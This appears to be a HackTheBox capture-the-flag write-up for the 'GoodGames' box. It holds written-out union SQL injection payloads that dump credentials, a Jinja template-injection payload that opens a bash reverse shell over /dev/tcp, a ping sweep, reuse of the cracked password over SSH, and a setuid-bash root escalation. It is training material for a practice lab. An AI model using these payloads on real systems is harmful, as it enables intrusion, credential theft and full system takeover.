An easy Linux box from HackTheBox with a lot of steps, using SQLi and SSTI for initial access, then having to escape a docker container and incorrect binary permissions to get root.



Running the default nmap on all ports

Nmap scan report for  
Host is up (0.038s latency).  
Not shown: 65534 closed tcp ports (reset)  
80/tcp open  http    Apache httpd 2.4.51  
Service Info: Host: goodgames.htb

Add goodgames.htb into /etc/hosts, and all we find is a HTTP server on port 80

Find a registration and login form, and find that the email parameter is injectable on the login request - and the email is reflected in the response with a welcome message, so can easily check if the response includes the


Enumerate the columns by injecting


Starting with

email=' union select 1,2,etc-- -

And increasing the amount each time, 1,2,3,4 works and returns “Welcome 4” in the response

The other values don’t return any “Welcome message”, but when you specify 4 columns with

email=' union select 1,2,3,4-- -

Returns a sucessful login page with “Welcome 4” - so you know there are 4 columns

Further enumerating for database name

email=' union select 1,2,3,database()-- -

And find that the welcome message on the login returns “Welcome main”, so main is one of the databases

The full list of databases can be found with

email=' union select 1,2,3,concat(schema_name, ':') from information_schema.schemata-- -

Which logs in with “Welcome information_schema:main”, there are only 2

Enumerating all of the tables within main

email=' union select 1,2,3,concat(table_name, ':') from information_schema.tables where table_schema = 'main'-- -

Find that there are 3 tables “Welcome blog:blog_comments:user:”

The “user” table seems the most interesting, we can extract all the columns in user with

email=' union select 1,2,3,concat(column_name, ':') from information_schema.columns where table_name = 'user'-- -

Can see there are 4 columns, id, email, password and name

Now to extract all of the information in email and password with

email=' union select 1,2,3,concat(name, ':', email, ':', password, ':') from user-- -

Find all the dumped data and an admin login, but the password seems encrypted


Hash is identified as MD5, searching for it on an online database, returns that the plaintext password is


Then we can login to the site with email: admin@goodgames.htb and password: superadministrator

When logged in you can see an extra option to go to an administrator control panel, mentioning Flask - the python backend server library

You can login with the same creds used, admin with superadministrator

On the dashboard you can find your profile, and it’s vulnerable to template injection - testing the full name with {{7x7}} it evaluates to 49 on the page

Now can leverage the SSTI to get shell, first with a “pwd” POC


Can see that it works, can execute arbitrary commands

Now using this command with a reverse shell

{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ 0>&1"').read()}}

With the reverse shell it’s clear that its a docker container, linpeas detects it as docker as well

There isn’t a possibility of escaping the container normally because it’s not a priveledged container

But there is another user, called augustus

Lets try to ssh in as augustus, but first need to figure out his IP

With ifconfig, ip of the container is, can do a ping sweep of the class C networks with the bash command

for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

Find another host on - probably the main host

Now can ssh with

ssh augustus@

With the password of “superadministrator”

And it works

However we don’t have root yet, but notice that the files created by the docker container are owned by root - the container really has root priveledges but no way to interact with the box besides files

Knowing that the container can see and modify the home directory files of augustus we can copy /bin/bash into augustus home directory, then go back to the container and execute

chown root:root ./bash
chmod 4777 ./bash

Then going back to augustus ssh, and executing

./bash -p

To get root

The -p flag is very important because it allows bash to run as root instead of augustus - ignoring the $ENV variables and taking the variables of ./bash